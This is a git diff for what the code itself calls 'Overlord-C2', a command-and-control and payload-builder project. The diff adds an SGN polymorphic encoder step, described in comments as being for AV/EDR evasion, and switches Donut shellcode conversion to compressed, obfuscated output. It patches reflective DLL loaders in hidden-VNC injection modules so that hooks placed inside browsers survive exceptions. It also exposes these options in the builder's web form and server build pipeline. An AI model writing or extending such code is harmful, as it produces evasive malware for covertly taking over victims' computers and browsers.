diff --git a/Dockerfile b/Dockerfile index fa95312..71ae7ff 100644 --- a/Dockerfile +++ b/Dockerfile @@ -61,6 +61,23 @@ RUN DONUT_TAG=$(curl -sSf "https://api.github.com/repos/TheWover/donut/releases/ echo "WARNING: Donut pre-fetch failed — will fall back to system PATH or download on first use"; \ fi +# Pre-fetch the latest SGN (Shikata Ga Nai) polymorphic encoder. +# Used post-Donut to encode raw shellcode for AV/EDR evasion. The runtime +# sgn-manager will re-check GitHub daily and update automatically; this +# step just ensures a working binary is available offline / on first use. +RUN SGN_ASSET=$(curl -sSf "https://api.github.com/repos/EgeBalci/sgn/releases/latest" \ + | grep -oE '"browser_download_url":[[:space:]]*"[^"]*sgn_linux_amd64[^"]*\.zip"' \ + | head -1 | cut -d'"' -f4) \ + && if [ -n "${SGN_ASSET}" ] && curl -sSfL "${SGN_ASSET}" -o /tmp/sgn.zip \ + && unzip -j -o /tmp/sgn.zip -d /usr/local/bin >/dev/null 2>&1 \ + && [ -f /usr/local/bin/sgn ]; then \ + chmod +x /usr/local/bin/sgn; \ + echo "SGN pre-installed from ${SGN_ASSET}"; \ + else \ + echo "WARNING: SGN pre-fetch failed — will fall back to system PATH or download on first use"; \ + fi \ + && rm -f /tmp/sgn.zip + # Full bun install (includes devDeps needed for tailwind / vendor / minify steps) COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./ RUN --mount=type=cache,target=/root/.bun/install/cache \ diff --git a/HVNCCapture/src/ReflectiveLoader.c b/HVNCCapture/src/ReflectiveLoader.c index 900e436..01f9fbf 100644 --- a/HVNCCapture/src/ReflectiveLoader.c +++ b/HVNCCapture/src/ReflectiveLoader.c @@ -74,6 +74,9 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) GETPROCADDRESS pGetProcAddress = NULL; VIRTUALALLOC pVirtualAlloc = NULL; NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; +#ifdef WIN_X64 + FARPROC pRtlAddFunctionTable = NULL; +#endif USHORT usCounter; @@ -279,6 +282,14 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) uiValueA = DEREF(uiValueA); } +#ifdef WIN_X64 + { + HMODULE hNtdll = (HMODULE)pLoadLibraryA("ntdll.dll"); + if (hNtdll) + pRtlAddFunctionTable = pGetProcAddress(hNtdll, "RtlAddFunctionTable"); + } +#endif + // STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded @@ -467,6 +478,27 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) } } + // STEP 5b: register exception function table (.pdata) with the OS. +#ifdef WIN_X64 + if (pRtlAddFunctionTable) + { + PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION) + { + PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + if (pExcDir->VirtualAddress && pExcDir->Size) + { + typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64); + ((RTLADDFNTABLE)pRtlAddFunctionTable)( + (PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress), + pExcDir->Size / sizeof(RUNTIME_FUNCTION), + (DWORD64)uiBaseAddress + ); + } + } + } +#endif + // STEP 6: call our images entry point // uiValueA = the VA of our newly loaded DLL/EXE's entry point diff --git a/HVNCInjection/src/ReflectiveLoader.c b/HVNCInjection/src/ReflectiveLoader.c index 900e436..952cac5 100644 --- a/HVNCInjection/src/ReflectiveLoader.c +++ b/HVNCInjection/src/ReflectiveLoader.c @@ -74,6 +74,9 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) GETPROCADDRESS pGetProcAddress = NULL; VIRTUALALLOC pVirtualAlloc = NULL; NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; +#ifdef WIN_X64 + FARPROC pRtlAddFunctionTable = NULL; +#endif USHORT usCounter; @@ -279,6 +282,16 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) uiValueA = DEREF(uiValueA); } +#ifdef WIN_X64 + // Resolve RtlAddFunctionTable so we can register exception unwind data. + // Without this, stack unwinding through our hook functions crashes browsers. + { + HMODULE hNtdll = (HMODULE)pLoadLibraryA("ntdll.dll"); + if (hNtdll) + pRtlAddFunctionTable = pGetProcAddress(hNtdll, "RtlAddFunctionTable"); + } +#endif + // STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded @@ -467,6 +480,30 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) } } + // STEP 5b: register exception function table (.pdata) with the OS. + // Reflective loading bypasses the normal loader which would do this via + // LdrpInsertDataTableEntry. Without registration, any exception that + // unwinds through our hook functions causes STATUS_ACCESS_VIOLATION. +#ifdef WIN_X64 + if (pRtlAddFunctionTable) + { + PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION) + { + PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + if (pExcDir->VirtualAddress && pExcDir->Size) + { + typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64); + ((RTLADDFNTABLE)pRtlAddFunctionTable)( + (PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress), + pExcDir->Size / sizeof(RUNTIME_FUNCTION), + (DWORD64)uiBaseAddress + ); + } + } + } +#endif + // STEP 6: call our images entry point // uiValueA = the VA of our newly loaded DLL/EXE's entry point diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index f587656..4c536f1 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -151,6 +151,8 @@ function collectFormSettings() { useDonut: document.getElementById("donut-mode")?.checked ?? false, useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false, shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false, + useSgn: document.getElementById("sgn-mode")?.checked ?? false, + sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, }; } @@ -220,6 +222,11 @@ function applyFormSettings(settings) { if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true); } if (settings.shellcodeConsole !== undefined) setCb("#shellcode-console", settings.shellcodeConsole); + if (settings.useSgn !== undefined) { + setCb("#sgn-mode", settings.useSgn); + if (settings.useSgn) applySgnMode(true); + } + if (settings.sgnIterations !== undefined) setVal("sgn-iterations", settings.sgnIterations); const restoredObfuscate = document.querySelector('input[name="obfuscate"]'); const garbleContainer = document.getElementById("garble-settings-container"); @@ -494,6 +501,26 @@ function updateShellcodeCheckboxVisibility() { const linuxScRow = document.getElementById("linux-sc-row"); if (linuxScRow) linuxScRow.classList.toggle("hidden", !hasLinuxAmd64); + + // SGN is only meaningful when there's shellcode to encode — i.e. Donut or + // Linux shellcode is enabled on a compatible platform. + const donutOn = document.getElementById("donut-mode")?.checked && hasWindows; + const linuxScOn = document.getElementById("linux-shellcode-mode")?.checked && hasLinuxAmd64; + const sgnRow = document.getElementById("sgn-row"); + if (sgnRow) sgnRow.classList.toggle("hidden", !(donutOn || linuxScOn)); + if (!(donutOn || linuxScOn)) { + const sgnCheckbox = document.getElementById("sgn-mode"); + if (sgnCheckbox?.checked) { + sgnCheckbox.checked = false; + applySgnMode(false); + } + } +} + +function applySgnMode(enabled) { + const badge = document.getElementById("sgn-badge"); + if (badge) badge.classList.toggle("hidden", !enabled); + saveFormSettings(); } function applyDonutMode(enabled) { @@ -726,10 +753,27 @@ if (donutCheckbox) { const linuxScCheckbox = document.getElementById("linux-shellcode-mode"); if (linuxScCheckbox) { - linuxScCheckbox.addEventListener("change", () => { applyLinuxShellcodeMode(linuxScCheckbox.checked); }); + linuxScCheckbox.addEventListener("change", () => { + applyLinuxShellcodeMode(linuxScCheckbox.checked); + updateShellcodeCheckboxVisibility(); + }); if (linuxScCheckbox.checked) applyLinuxShellcodeMode(true); } +if (donutCheckbox) { + donutCheckbox.addEventListener("change", () => updateShellcodeCheckboxVisibility()); +} + +const sgnCheckbox = document.getElementById("sgn-mode"); +if (sgnCheckbox) { + sgnCheckbox.addEventListener("change", () => applySgnMode(sgnCheckbox.checked)); + if (sgnCheckbox.checked) applySgnMode(true); +} +const sgnIterationsInput = document.getElementById("sgn-iterations"); +if (sgnIterationsInput) { + sgnIterationsInput.addEventListener("change", () => saveFormSettings()); +} + document.querySelectorAll('input[name="platform"]').forEach((el) => { el.addEventListener("change", () => { updateShellcodeCheckboxVisibility(); @@ -1482,6 +1526,8 @@ form?.addEventListener("submit", async (e) => { useDonut: document.getElementById("donut-mode")?.checked || false, useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked || false, shellcodeConsole: document.getElementById("shellcode-console")?.checked || false, + useSgn: document.getElementById("sgn-mode")?.checked || false, + sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, }; const hasAndroid = platforms.some(p => p.startsWith('android-')); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 781970c..fa045b8 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -414,6 +414,30 @@ + + diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 8049ce7..12f3d14 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -18,6 +18,7 @@ import { } from "./toolchain-manager"; import { runDonut } from "./donut-manager"; import { buildLinuxShellcode } from "./linux-shellcode-manager"; +import { runSgn } from "./sgn-manager"; function isClientModuleDir(dir: string): boolean { return ( @@ -109,6 +110,8 @@ type BuildProcessConfig = { useDonut?: boolean; useLinuxShellcode?: boolean; shellcodeConsole?: boolean; + useSgn?: boolean; + sgnIterations?: number; solMemo?: boolean; solAddress?: string; solRpcEndpoints?: string; @@ -1196,6 +1199,9 @@ func runBoundFiles() { let finalOutputName = outputName; let finalOutputSize = finalSize; + let shellcodeBinPath: string | null = null; + let shellcodeArch: "amd64" | "386" | null = null; + if (config.useDonut && os === "windows") { sendToStream({ type: "status", text: `Converting ${platform} PE to shellcode…` }); sendToStream({ type: "output", text: `\nConverting PE → shellcode with Donut...\n`, level: "info" }); @@ -1207,6 +1213,8 @@ func runBoundFiles() { try { fs.unlinkSync(filePath); } catch {} finalOutputName = scOutputName; finalOutputSize = Bun.file(binPath).size; + shellcodeBinPath = binPath; + shellcodeArch = donutArch; sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" }); } @@ -1221,9 +1229,21 @@ func runBoundFiles() { try { fs.unlinkSync(filePath); } catch {} finalOutputName = scOutputName; finalOutputSize = Bun.file(binPath).size; + shellcodeBinPath = binPath; + shellcodeArch = "amd64"; sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" }); } + if (config.useSgn && shellcodeBinPath && shellcodeArch) { + const iters = Math.max(1, Math.min(50, Math.floor(config.sgnIterations ?? 1))); + sendToStream({ type: "status", text: `Encoding ${platform} shellcode with SGN (×${iters})…` }); + sendToStream({ type: "output", text: `\nEncoding shellcode with SGN (${iters} iteration${iters === 1 ? "" : "s"})...\n`, level: "info" }); + const ok = await runSgn(shellcodeBinPath, shellcodeBinPath, shellcodeArch, iters, sendToStream); + if (!ok) throw new Error(`SGN encoding failed for ${platform}`); + finalOutputSize = Bun.file(shellcodeBinPath).size; + sendToStream({ type: "output", text: `SGN-encoded shellcode: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" }); + } + (build.files as any[]).push({ name: finalOutputName, filename: finalOutputName, diff --git a/Overlord-Server/src/server/donut-manager.ts b/Overlord-Server/src/server/donut-manager.ts index 5514c54..e681d09 100644 --- a/Overlord-Server/src/server/donut-manager.ts +++ b/Overlord-Server/src/server/donut-manager.ts @@ -199,8 +199,15 @@ export async function ensureDonut( * Flags used: * -f 1 raw shellcode output (no base64/C/etc wrapping) * -a 1|2 architecture (1=x86, 2=x64) - * -b 2 bypass AMSI + WLDP by returning failure (abort) — avoids detection - * -x 1 exit by thread exit, not process exit — prevents crashing the host + * -z 3 compress the embedded PE with LZNT1 — smaller payload + extra obfuscation + * NOTE: LZNT1 / Xpress / Xpress-Huffman compression uses Windows + * RtlCompressBuffer APIs, so it ONLY works when Donut runs on a + * Windows host. On Linux/macOS Donut, only -z 1 (none) and -z 2 + * (aPLib) are supported and -z 3 will fail at compression time. + * -b 1 no AMSI/WLDP bypass — caller is responsible for evasion (e.g. SGN) + * + * Exit behavior defaults to "exit thread" (-x 1) when -x is omitted, which is + * what we want — prevents crashing the host process when the agent terminates. * * NOTE — persistence in shellcode mode: * When the agent runs as shellcode injected into another process, os.Executable() @@ -235,7 +242,7 @@ export async function runDonut( try { // -i flag required since donut v1 (previously positional arg) - const result = await $`${bin} -f 1 -a ${archFlag} -b 3 -x 1 -o ${outputBin} -i ${inputPe}` + const result = await $`${bin} -a ${archFlag} -z 3 -f 1 -b 1 -o ${outputBin} -i ${inputPe}` .nothrow() .quiet(); const stdout = result.stdout.toString().trim(); diff --git a/Overlord-Server/src/server/sgn-manager.ts b/Overlord-Server/src/server/sgn-manager.ts new file mode 100644 index 0000000..42caf11 --- /dev/null +++ b/Overlord-Server/src/server/sgn-manager.ts @@ -0,0 +1,209 @@ +import fs from "fs"; +import path from "path"; +import { $ } from "bun"; +import { ensureDataDir } from "../paths"; +import { logger } from "../logger"; + +const SGN_REPO = "EgeBalci/sgn"; +const VERSION_TTL_MS = 24 * 60 * 60 * 1000; + +type CachedVersion = { tag: string; cachedAt: number }; + +function toolsDir(): string { + return path.join(ensureDataDir(), "tools"); +} + +function binaryPath(): string { + return path.join(toolsDir(), process.platform === "win32" ? "sgn.exe" : "sgn"); +} + +function versionFilePath(): string { + return path.join(toolsDir(), "sgn.version"); +} + +function readCache(): CachedVersion | null { + try { return JSON.parse(fs.readFileSync(versionFilePath(), "utf8")); } catch { return null; } +} + +function writeCache(tag: string): void { + try { + fs.mkdirSync(toolsDir(), { recursive: true }); + fs.writeFileSync(versionFilePath(), JSON.stringify({ tag, cachedAt: Date.now() })); + } catch {} +} + +async function findSystemSgn(): Promise { + const systemCandidates = ["/usr/local/bin/sgn", "/usr/bin/sgn", "/go/bin/sgn"]; + for (const c of systemCandidates) { + if (fs.existsSync(c)) return c; + } + const fromPath = Bun.which("sgn"); + if (fromPath) return fromPath; + return null; +} + +type AssetInfo = { tag: string; downloadUrl: string; assetName: string }; + +async function fetchLatest(): Promise { + try { + const res = await fetch( + `https://api.github.com/repos/${SGN_REPO}/releases/latest`, + { headers: { "User-Agent": "Overlord-C2", Accept: "application/vnd.github+json" } }, + ); + if (!res.ok) return null; + const data = await res.json() as any; + const tag: string = data.tag_name; + const assets: { name: string; browser_download_url: string }[] = data.assets ?? []; + + // SGN release is named sgn___.zip + const osTag = process.platform === "win32" ? "windows" : process.platform === "darwin" ? "macos" : "linux"; + const archTag = process.arch === "x64" ? "amd64" : process.arch === "ia32" ? "386" : process.arch; + + const exact = assets.find(a => { + const n = a.name.toLowerCase(); + return n.startsWith(`sgn_${osTag}_${archTag}`) && n.endsWith(".zip"); + }); + if (exact) return { tag, downloadUrl: exact.browser_download_url, assetName: exact.name }; + + const looseOs = assets.find(a => a.name.toLowerCase().includes(`_${osTag}_`) && a.name.endsWith(".zip")); + if (looseOs) return { tag, downloadUrl: looseOs.browser_download_url, assetName: looseOs.name }; + + return null; + } catch { + return null; + } +} + +async function downloadAndExtract(url: string, dest: string): Promise { + try { + fs.mkdirSync(path.dirname(dest), { recursive: true }); + const res = await fetch(url); + if (!res.ok) return false; + const buf = await res.arrayBuffer(); + const tmpZip = dest + ".tmp.zip"; + fs.writeFileSync(tmpZip, Buffer.from(buf)); + try { + const destDir = path.dirname(dest); + const binName = process.platform === "win32" ? "sgn.exe" : "sgn"; + const r = await $`unzip -o -j ${tmpZip} -d ${destDir}`.nothrow().quiet(); + if (r.exitCode !== 0) return false; + const extracted = path.join(destDir, binName); + if (!fs.existsSync(extracted)) { + const entries = fs.readdirSync(destDir); + const found = entries.find(e => e.toLowerCase().startsWith("sgn") && !e.endsWith(".version") && !e.endsWith(".tmp.zip")); + if (!found) return false; + fs.renameSync(path.join(destDir, found), dest); + } else if (extracted !== dest) { + fs.renameSync(extracted, dest); + } + try { fs.chmodSync(dest, 0o755); } catch {} + return true; + } finally { + try { fs.unlinkSync(tmpZip); } catch {} + } + } catch { + return false; + } +} + +export async function ensureSgn( + sendToStream?: (data: any) => void, +): Promise { + const bin = binaryPath(); + const cached = readCache(); + const binExists = fs.existsSync(bin); + const stale = !cached || Date.now() - cached.cachedAt > VERSION_TTL_MS; + + const log = (text: string, level = "info") => { + logger.info(`[sgn] ${text.trim()}`); + sendToStream?.({ type: "output", text: `${text}\n`, level }); + }; + + if (binExists && !stale) { + log(`SGN: using cached ${cached!.tag}`); + return bin; + } + + const sysBinEarly = await findSystemSgn(); + if (sysBinEarly) { + log(`SGN: using system binary at ${sysBinEarly}`); + writeCache("system"); + return sysBinEarly; + } + + log("SGN: checking GitHub for latest release…"); + const latest = await fetchLatest(); + if (!latest) { + if (binExists) { + log(`SGN: GitHub unreachable — using cached ${cached?.tag ?? "unknown"}`, "warn"); + return bin; + } + log("SGN: GitHub unreachable and no binary available", "error"); + return null; + } + + if (binExists && cached?.tag === latest.tag) { + log(`SGN: already at latest (${latest.tag})`); + writeCache(latest.tag); + return bin; + } + + log(`SGN: downloading ${latest.assetName}…`); + const ok = await downloadAndExtract(latest.downloadUrl, bin); + if (!ok) { + if (binExists) { + log(`SGN: download failed — using cached ${cached?.tag ?? "unknown"}`, "warn"); + return bin; + } + log("SGN: download failed and no cached binary available", "error"); + return null; + } + + writeCache(latest.tag); + log(`SGN: ready (${latest.tag})`); + return bin; +} + +export async function runSgn( + inputBin: string, + outputBin: string, + arch: "amd64" | "386", + iterations: number, + sendToStream: (data: any) => void, +): Promise { + const bin = await ensureSgn(sendToStream); + if (!bin) { + sendToStream({ type: "output", text: "ERROR: SGN binary not available\n", level: "error" }); + return false; + } + + const archFlag = arch === "386" ? "32" : "64"; + const enc = Math.max(1, Math.min(50, Math.floor(iterations || 1))); + + const tmpOut = outputBin + ".sgn.tmp"; + try { + try { fs.unlinkSync(tmpOut); } catch {} + const result = await $`${bin} -i ${inputBin} -o ${tmpOut} -a ${archFlag} -c ${String(enc)}` + .nothrow() + .quiet(); + const stdout = result.stdout.toString().trim(); + if (stdout) sendToStream({ type: "output", text: stdout + "\n", level: "info" }); + if (result.exitCode !== 0) { + const stderr = result.stderr.toString().trim(); + sendToStream({ type: "output", text: `SGN failed (exit ${result.exitCode})${stderr ? `: ${stderr}` : ""}\n`, level: "error" }); + try { fs.unlinkSync(tmpOut); } catch {} + return false; + } + if (!fs.existsSync(tmpOut) || fs.statSync(tmpOut).size === 0) { + sendToStream({ type: "output", text: "SGN produced no output\n", level: "error" }); + try { fs.unlinkSync(tmpOut); } catch {} + return false; + } + fs.renameSync(tmpOut, outputBin); + return true; + } catch (err: any) { + sendToStream({ type: "output", text: `SGN error: ${err?.message ?? err}\n`, level: "error" }); + try { fs.unlinkSync(tmpOut); } catch {} + return false; + } +} diff --git a/build-hvnc-capture-dll.sh b/build-hvnc-capture-dll.sh index 18fed25..ae11481 100644 --- a/build-hvnc-capture-dll.sh +++ b/build-hvnc-capture-dll.sh @@ -188,7 +188,6 @@ CXXFLAGS="$CXXFLAGS -DHVNCCapture_EXPORTS -DWIN_X64" CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" CXXFLAGS="$CXXFLAGS -fno-stack-protector" -CXXFLAGS="$CXXFLAGS -fno-asynchronous-unwind-tables" CXXFLAGS="$CXXFLAGS -fno-exceptions -fno-rtti" CXXFLAGS="$CXXFLAGS -I$SRC_DIR" if [ -n "${MINHOOK_INC:-}" ]; then @@ -196,19 +195,20 @@ if [ -n "${MINHOOK_INC:-}" ]; then fi # C flags for ReflectiveLoader (pure C, no C++) -CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" -CFLAGS="$CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64" -CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" -CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" -CFLAGS="$CFLAGS -fno-stack-protector" -CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables" -CFLAGS="$CFLAGS -I$SRC_DIR" +# Keep -fno-asynchronous-unwind-tables only for the loader shellcode +LOADER_CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" +LOADER_CFLAGS="$LOADER_CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64" +LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" +LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" +LOADER_CFLAGS="$LOADER_CFLAGS -fno-stack-protector" +LOADER_CFLAGS="$LOADER_CFLAGS -fno-asynchronous-unwind-tables" +LOADER_CFLAGS="$LOADER_CFLAGS -I$SRC_DIR" if [ -n "${MINHOOK_INC:-}" ]; then - CFLAGS="$CFLAGS $MINHOOK_INC" + LOADER_CFLAGS="$LOADER_CFLAGS $MINHOOK_INC" fi echo "Compiling ReflectiveLoader.c ..." -"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c" +"$CC" -c $LOADER_CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c" echo "Compiling ReflectiveDll.c (C++) ..." "$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c" @@ -228,7 +228,6 @@ fi "$CXX" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \ -Wl,--entry,DllMain \ - -Wl,--no-seh \ -Wl,--disable-runtime-pseudo-reloc \ -fno-stack-protector \ -fno-exceptions -fno-rtti \ diff --git a/build-hvnc-dll.sh b/build-hvnc-dll.sh index fb06f53..4fc5459 100644 --- a/build-hvnc-dll.sh +++ b/build-hvnc-dll.sh @@ -187,14 +187,16 @@ CFLAGS="$CFLAGS -DHVNCInjection_EXPORTS -DWIN_X64" CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" CFLAGS="$CFLAGS -fno-stack-protector" -CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables" CFLAGS="$CFLAGS -I$SRC_DIR" if [ -n "${MINHOOK_INC:-}" ]; then CFLAGS="$CFLAGS $MINHOOK_INC" fi +# ReflectiveLoader is position-independent shellcode: strip .eh_frame but keep .pdata +LOADER_CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables" + echo "Compiling ReflectiveLoader.c ..." -"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c" +"$CC" -c $LOADER_CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c" echo "Compiling ReflectiveDll.c ..." "$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c" @@ -214,7 +216,6 @@ fi "$CC" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \ -Wl,--entry,DllMain \ - -Wl,--no-seh \ -Wl,--disable-runtime-pseudo-reloc \ -fno-stack-protector \ -s diff --git a/docker-compose.quickstart.yml b/docker-compose.quickstart.yml index c162324..7a0ff39 100644 --- a/docker-compose.quickstart.yml +++ b/docker-compose.quickstart.yml @@ -61,7 +61,7 @@ services: restart: unless-stopped healthcheck: # Use http:// when OVERLORD_TLS_OFFLOAD=true. - test: ["CMD-SHELL", "curl -f ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"] + test: ["CMD-SHELL", "wget -qO- --no-check-certificate ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"] interval: 30s timeout: 10s retries: 3 diff --git a/docker-compose.windows.yml b/docker-compose.windows.yml index c7d150d..ab55b64 100644 --- a/docker-compose.windows.yml +++ b/docker-compose.windows.yml @@ -66,7 +66,7 @@ services: - no-new-privileges:true healthcheck: # Use http:// when OVERLORD_TLS_OFFLOAD=true. - test: ["CMD-SHELL", "curl -f ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"] + test: ["CMD-SHELL", "wget -qO- --no-check-certificate ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"] interval: 30s timeout: 10s retries: 3